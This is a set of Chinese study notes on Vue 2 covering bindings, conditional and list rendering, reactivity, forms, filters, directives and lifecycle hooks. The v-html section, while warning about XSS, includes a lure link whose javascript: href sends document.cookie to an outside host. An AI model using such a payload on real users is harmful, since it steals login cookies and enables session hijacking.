vue2笔记2（绑定，条件，列表，vue检测数据原理，$set，表单收集，过滤器，内置，自定义，生命周期）

第一章 vue语法

绑定样式 

 1. class样式

         写法:class="xxx" xxx可以是字符串、对象、数组。

         字符串写法适用于：类名不确定，要动态获取。

         对象写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。

         数组写法适用于：要绑定多个样式，个数不确定，名字也不确定。

 2. style样式

         :style="{fontSize: xxx}"其中xxx是动态值。

         :style="[a,b]"其中a、b是样式对象。

<div class="basic" :class="classObj">{{name}}</div> <br/><br/>

<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
data:{
				name:'尚硅谷',
				mood:'normal',
				classArr:['atguigu1','atguigu2','atguigu3'],  //css数组的写法
				classObj:{
					atguigu1:false,                           //css对象的写法
					atguigu2:false,
				},
				styleObj:{                                    
					fontSize: '40px',                         //style对象写法
					color:'red',
				},
				styleObj2:{
					backgroundColor:'orange'
				},
				styleArr:[
					{
						fontSize: '40px',                    //style数组写法
						color:'blue',
					},
					{
						backgroundColor:'gray'
					}
				]
			},

 条件渲染

1.v-if

1. v-if="表达式"
2. v-else-if="表达式"
3. v-else="表达式"

• 适用于：切换频率较低的场景。
• 特点：不展示的DOM元素直接被移除。
• 注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。

 2.v-show（等价于display:none）

•  写法：v-show="表达式"
•  适用于：切换频率较高的场景。
•  特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

3.备注：使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。

<h2 v-show="false">欢迎来到{{name}}</h2> 
			<h2 v-show="1 === 1">欢迎来到{{name}}</h2>

			<!-- 使用v-if做条件渲染 -->
			<h2 v-if="false">欢迎来到{{name}}</h2>
			<h2 v-if="1 === 1">欢迎来到{{name}}</h2> 

			<!-- v-else和v-else-if -->
			<!-- <div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div> -->

			<!-- v-if与template的配合使用 ,template是一个单独的标签，不影响结构-->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>尚硅谷</h2>
				<h2>北京</h2>
			</template>

列表渲染

v-for指令:

1.用于展示列表数据

2.语法：v-for="(item, index) in xxx" :key="yyy"

3.可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

<!-- 遍历数组 -->//所有的方式都可以用p in person或者of都可以
			<h2>人员列表（遍历数组）</h2>
			<ul>  //管理系统中常见的数据展示方式，两个属性返回，第一个是数组的值
                  //这里一般是封装对象，第二个是索引值。key重要。
				<li v-for="(p,index) of persons" :key="index">
					{{p.name}}-{{p.age}}
				</li>
			</ul>

			<!-- 遍历对象 -->
			<h2>汽车信息（遍历对象）</h2>
			<ul>//遍历对象，三个返回值，对象属性值，对象返回key，索引值
				<li v-for="(value,k) of car" :key="k">
					{{k}}-{{value}}
				</li>
			</ul>

			<!-- 遍历字符串 -->
			<h2>测试遍历字符串（用得少）</h2>
			<ul>//两个返回值，char和index
				<li v-for="(char,index) of str" :key="index">
					{{char}}-{{index}}
				</li>
			</ul>
			
			<!-- 遍历指定次数 -->
			<h2>测试遍历指定次数（用得少）</h2>
			<ul>//直接遍历数据
				<li v-for="(number,index) of 5" :key="index">
					{{index}}-{{number}}
				</li>
			</ul>

1. 虚拟DOM中key的作用：

key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】,

随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：

 2.对比规则：

(1).旧虚拟DOM中找到了与新虚拟DOM相同的key：

①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！

②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。

(2).旧虚拟DOM中未找到与新虚拟DOM相同的key，创建新的真实DOM，随后渲染到到页面。

3. 用index作为key可能会引发的问题：

           （1）. 若对数据进行：逆序添加、逆序删除等破坏顺序操作:

              会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

            （2）. 如果结构中还包含输入类的DOM：

              会产生错误DOM更新 ==> 界面有问题。

 4. 开发中如何选择key?:

       1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。

       2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的。

 列表排序和过滤

 使用前端的过滤函数实现模糊查询

data:{
					keyWord:'',
					persons:[
						{id:'001',name:'马冬梅',age:19,sex:'女'},
						{id:'002',name:'周冬雨',age:20,sex:'女'},
						{id:'003',name:'周杰伦',age:21,sex:'男'},
						{id:'004',name:'温兆伦',age:22,sex:'男'}
					]
				},
				computed:{
					filPerons(){
						return this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})
					}
				}

使用计算属性，将原本的数据过滤之后，产生出新的计算属性。

这里使用箭头函数，this就会指向上一层的vue对象。过滤函数会将这个数组中所有的元素都遍历出来，p就是某一个对象。然后使用indexOf（this.keyword）!==-1，这就可以判断出name中是否有keyword的值。

列表的排序和过滤一般是写在一起的。需要实现过滤的情况排序。

computed:{
					filPerons(){
						const arr = this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})
						//判断一下是否需要排序
						if(this.sortType){
							arr.sort((p1,p2)=>{
								return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
							})
						}
						return arr
					}
				}

前端中有一个函数是sort（p1，p2）。p1和p2代表数组中前后两个值，p1-p2升序，p2-p1降序。

这时候数组中的值是对象的形式，以上面那种形式可以以age排序。

vue监测数据改变的原理（对象）

 模拟vue监测数据原理：

let data={
        name:'张三',
        age:11
    }

    Object.defineProperty(data,name,{
        get(){
            return data.name
        },通过这种方式直接监控name的值是无法实现的，获取的时候会直接内存溢出
        因为，想要在控制台获取name需要调用get函数，而get函数返回值也是在获取name的值
        set(val){
            data.name=val
        }同理，修改name值也不行
    })

直接调用 Object.defineProperty（）方法无法对数据检测，这时候创建一个实例方法来承接原数据，不改变原本数据，这样就不会导致内存溢出等问题，并且这种方式可以为每个属性创建get和set方法。

const obs=new observer(data);
     通过创建一个方法的形式将data传递进去解析，类似于vm中的_data
    console.log(obs)


    function observer(obj){
        const keys=Object.keys(obj)
         遍历传递进来对象的key
        keys.forEach(p => {
            Object.defineProperty(this,p,{
                get(){
                    return obj[p]
                },
                 对每一个key进行数据代理，这里的this指的是方法的实例对象，返回的是数据的值存放到实例对象，就不会存在返回过程中调用返回方法了
                set(val){
                    console.log("aaa")
                     更改的是数据的值，这里的this是实例方法的实例对象
                    obj[p]=val
                }
            })
        });
    }

vue使用的检测数据改变的方式就是类似于这种，为每个属性创建get和set方法，在set方法执行的时候会顺带执行重新渲染视图的方法。同时也会对对象中对象的属性也会遍历。

vue监测数据改变的原理（数组）

vue更新数组的时候遇到的问题

methods: {
					updateMei(){
						// this.persons[0].name = '马老师' //奏效
						// this.persons[0].age = 50 //奏效
						// this.persons[0].sex = '男' //奏效
						// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
						this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
					}
				}

直接使用下标的形式更改值不生效。可以更改数组对象元素属性的值（这里准守对象检测原理）。

而数组改变的方式是通过包装方法的形式。

VUE在检测数组的时候，使用的是常用的修改数组的方式来实现的，push,pop,shift,unshift,splice,sort,reverse等方法。

数组交给vue管理之后，vue会对数组操作这些方法进行包装，调用的时候增加一个更改视图的功能，不是原本arry类的方法。

Vue.set的使用

由于vue在_data中做了一个数据劫持，将data中的所有数据都创建了对应的get和set方法。set方法中有一个重新渲染视图的代码。数据最好是在编写过程就写到data里面

不然后续在浏览器上给data赋值是没有对应的get和set方法的，相对应的也无法触发解析模板导致不显示。

 这时候可以使vm.$set(vm.student.'sex','男'),这时候会自动添加上get和set方法。

这种有get和set方法的属性就是响应式数据。必须使用这种方式才能为对象添加有效的可以渲染到网页上的响应式属性。

//这里添加的数据不能是data的根数据，必须是下层的
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')

可以在网页的前台使用，值得注意的是，不能添加data数据的根数据，必须是下层的。

数据检测总结

 

 vue数据检测例子：

<body>
    <div id="root">
        <h1>学生信息</h1>
        <button @click="student.age++">年龄加一</button>
        <button @click="addsex">添加性别</button>
        <input type="text" name="sex" id="sex">
        <button @click="student.sex='女'">修改性别</button>
        <button @click="insertFirstFriend">在列表首位添加第一朋友</button>
        <button @click="insertFirstHobby">添加一个爱好</button>
        <button @click="updateFirstHobby">修改第一个爱好</button>
        <button @click="updateFirstFriendName">修改一个朋友名字</button>
        <button @click="filterHobbyByCHOUYAN">过滤掉抽烟的爱好</button>
        <h3>姓名：{{student.name}}</h3>
        <h3>年龄：{{student.age}}</h3>
        <h3>性别：{{student.sex}}</h3>
        <h3>爱好：</h3>
        <ul v-for="h,index in student.hobby">
            <li>{{index}}-{{h}}</li>
        </ul>
        <h3>friends</h3>
        <ul v-for="f,index in student.friends">
            <li>{{index}}-{{f.name}}-{f.sex}}-{{f.age}}</li>
        </ul>
    </div>
</body>
<script type="text/javascript">
      new Vue({
        el:'#root',
        data:{
            student:{
                name:'张三',
                age:13,
                hobby:['抽烟','喝酒','烫头'],
                friends:[
                    {name:'王麻子',sex:"男",age:11},
                    {name:'飞洒子',sex:"女",age:11},
                    {name:'手打',sex:"男",age:12}
                ]
            }
        },
        methods: {
          addsex(){
            let sex=$("#sex").val()
            this.$set(this.student,'sex',sex)
          } ,
          insertFirstFriend(){
            this.student.friends.unshift({name:'是多接口和',sex:"男",age:11})
          },
          insertFirstHobby(){
            this.student.hobby.push('学习')
          },
          updateFirstHobby(){
            this.student.hobby.splice(0,1,'发疯')
            this.$set(this.student.hobby,2,'发癫')
          },
          updateFirstFriendName(){
            this.student.friends[0].name="发神经"
          },
          filterHobbyByCHOUYAN(){
            this.student.hobby=this.student.hobby.filter((p)=>{
               return p!="抽烟"
            })
          }
        },
      })
</script>

表单数据的收集

若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。

若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。

若：<input type="checkbox"/>

1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）

2.配置input的value属性:

(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）

 (2)v-model的初始值是数组，那么收集的的就是value组成的数组

 备注：v-model的三个修饰符：

                      lazy：失去焦点再收集数据

                      number：输入字符串转为有效的数字

                      trim：输入首尾空格过滤

<form @submit.prevent="demo">
				账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码：<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别：
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好：
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息：
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
				<button>提交</button>
			</form>

 过滤器

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

                语法：

                        1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}

                        2.使用过滤器：{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"

                备注：

                        1.过滤器也可以接收额外参数、多个过滤器也可以串联

                        2.并没有改变原本的数据, 是产生新的对应的数据

过滤器分为全局过滤器和局部过滤器，全局定义在vue对象外。

过滤器的使用方式类似于linux的管道符：

div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 计算属性实现 -->
			<h3>现在是：{{fmtTime}}</h3>
			<!-- methods实现 -->
			<h3>现在是：{{getFmtTime()}}</h3>
			<!-- 过滤器实现 -->
			<h3>现在是：{{time | timeFormater}}</h3>
			<!-- 过滤器实现（传参） -->
			<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
			<h3 :x="msg | mySlice">尚硅谷</h3>
		</div>

 将前面的时间戳传递到后面的过滤器，过滤器不会影响原本的值，直接过滤之后返回。可以使用多个过滤器。写在vue对象中的过滤器：

//局部过滤器
			filters:{
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)
				}
			}

 这里的dayjs是一个js的方法，可以将时间戳转化为可以看懂的时间格式，自己设定。

定义在全局的过滤器：

Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})

内置指令 

1.v-text指令：例子略。

                        1.作用：向其所在的节点中渲染文本内容。

                        2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

2v-html指令：

                        1.作用：向指定节点中渲染包含html结构的内容。

                        2.与插值语法的区别：

                                    (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。

                                    (2).v-html可以识别html结构。

                        3.严重注意：v-html有安全性问题！！！！

                                    (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

                                    (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

该指令存在安全性问题，比如你登录一qq之后，浏览器会记住qq给你发送的cookie数据，这些数据中记录了包含登录状态等cookie信息。

cookie是浏览器记录下来的，比如你在ie中登录了某个网站账户，浏览器记录了cookie。这时候你利用插件将cookie拷贝，别人拿到你的cookie直接拷贝到浏览器，刷新之后就会直接变成登录状态。

例如人家写一个这样的语句，你点击跳转之后就会将你所有的cookie信息全部发送过去。

<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>

当然，cookie中使用了httpOnly保护的就可以防止这种方式，否者信息就容易泄露。 

3.v-cloak指令（没有值）：

                        1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。

                        2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

[v-cloak]{
				display:none;
			}

	
<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>

像上面的例子，网页执行到name的时候会直接将name原本的样子展示出来，然后等到获取到vue.js之后才会将这个容器交给vue对象去解析，然后显示应该有的值。但是如果使用的js资源访问需要的时间较长，这样就显示出{{name}}这样的，不利于观看。

解决方式：

第一种方式将请求js资源放到最上面，这样在请求的时候就会等待，不会有不友好提示。

第二种方式将需要短暂隐藏的dom使用v-cloak指令。这个指令会在vue接管容器之后消失。配合css的dispaly：none可以实现想要的操作。

4.v-once指令：

                        1.v-once所在节点在初次动态渲染后，就视为静态内容了。

                        2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

适用于只需要vue初次渲染一次的dom节点，只会在程序开始的时候执行一次。 

5.v-pre指令：

                    1.跳过其所在节点的编译过程。

                    2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

                    提升vue的性能。   

自定义指令语法 

 首先回顾一下，利用原生js添加输入框

<body>
		<button id="btn">点我创建一个输入框</button>
		
		
	</body>
	<script type="text/javascript" >
		const a=document.getElementById("btn")
		a.onclick=()=>{
			console.log(this)
			a.className='demo'
			document.body.appendChild(document.createElement('input'))
			input.focus()
		}
	</script>

自定义语法总结：

1).局部指令：两种-简写和全写

directives:{
				//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					// console.log('big')
					element.innerText = binding.value * 10
				},
				fbind:{
					//指令与元素成功绑定时（一上来）
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}

这个绑定指令的用处是：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。其中在开始就获取焦点必须要用inserted这个函数来执行，因为只有在元素刚被插入网页的时候才能获取焦点，提前设定不起效果。

  (2).全局指令：

Vue.directive('fbind',{
			//指令与元素成功绑定时（一上来）
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}

二、配置对象中常用的3个回调：

                                    (1).bind：指令与元素成功绑定时调用。

                                    (2).inserted：指令所在元素被插入页面时调用。

                                    (3).update：指令所在模板结构被重新解析时调用。

 三、备注：

              1.指令定义时不加v-，但使用时要加v-；

               2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

生命周期 

                        1.又名：生命周期回调函数、生命周期函数、生命周期钩子。

                        2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。

                        3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。

                        4.生命周期函数中的this指向是vm 或 组件实例对象。

流程详解：

1. init  Events & Lifecycle初始化：生命周期还没开始，此时数据代理和事件都没创建，vm对象中没有_data,methods等
2. init injections & reactivity初始化：这时候以及进行了数据检测和代理，可以访问数据和方法
3. 判断el是否绑定了容器：如果绑定了执行下一步，如果没有绑定，等待使用vm.$mount(el)然后执行下一步。
4. 指定了el之后，判断是否指定了template属性，这是一种判断容器的方式，如果没指定就使用el容器中的，包括el容器最外层的div。如果指定了，就会使用template这个属性中的dom字符串替代整个el。注意，这里的写法，一行的话可以用单双引号，多行必须使用tab键上面的这个符号。并且下面只能放一个标签（可嵌套）

   template:`
   				<div>
   					<h2>当前的n值是：{{n}}</h2>
   					<button @click="add">点我n+1</button>
   				</div>
   			`,

   上面3，4的过程vue会生成虚拟dom（内存中），然后出现一个钩子函数beforeMount，这时候vue对象已经解析完成，但是还没有同步网页。

5. 然后将虚拟dom转化为真实dom，这时候需要存放一份dom，到这里就完成了挂载的过程。

6. Virtual DOM更新操作的前后有两个钩子函数，第一个数据更新了，但是页面未更新，第二个前后同步.，数据更新之后生成新的dom会与之前保存的旧的虚拟dom相对比，经过一个算法之后完成页面更新。

7. Teardown销毁vm之前也有两个钩子函数，这时候所有的数据，方法，指令都还可用，但是不生效。这时候给你关闭定时器，取消消息订阅啥的。

常用的生命周期钩子：

        1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。

        2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例

         1.销毁后借助Vue开发者工具看不到任何信息。

         2.销毁后自定义事件会失效，但原生DOM事件依然有效。

         3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。